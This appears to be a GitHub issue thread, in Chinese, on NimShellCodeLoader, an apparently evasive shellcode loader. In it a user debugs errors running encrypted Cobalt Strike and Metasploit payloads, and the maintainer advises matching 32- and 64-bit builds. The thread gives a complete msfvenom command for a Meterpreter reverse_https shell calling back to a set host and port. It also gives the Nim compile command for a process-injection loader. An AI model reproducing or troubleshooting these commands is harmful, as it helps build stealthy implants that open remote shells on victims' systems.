NimShellCodeLoader
NimShellCodeLoader copied to clipboard
运行被加密的程序报错
凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢
?
我之后又试了官方几个大版本的代表版本,问题依旧
凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢
?
我之后又试了官方几个大版本的代表版本,问题依旧
你用64位的系统、64位的nim编译运行试试
你用64位的系统、64位的nim编译运行试试
在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?
Shell Code参数 msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2
Nim Shell code loader参数 nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
你用64位的系统、64位的nim编译运行试试
在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?
Shell Code参数 msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2
Nim Shell code loader参数 nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
msfvenom 生成shellcode的时候选择操作系统位数要和nim的相同,应该是x64
64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!
64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!
程序的版本要和shellcode的版本要一致
没明白您说的程序版本和shellcode的版本有什么关系,shellcode是32位的,nim和mingw也是32位的,编译测试message弹框的shellcode,但是稍微大一点的程序就会遇到这个base64编码错误了,这应该是base编码/解码shellcode方面的问题吧?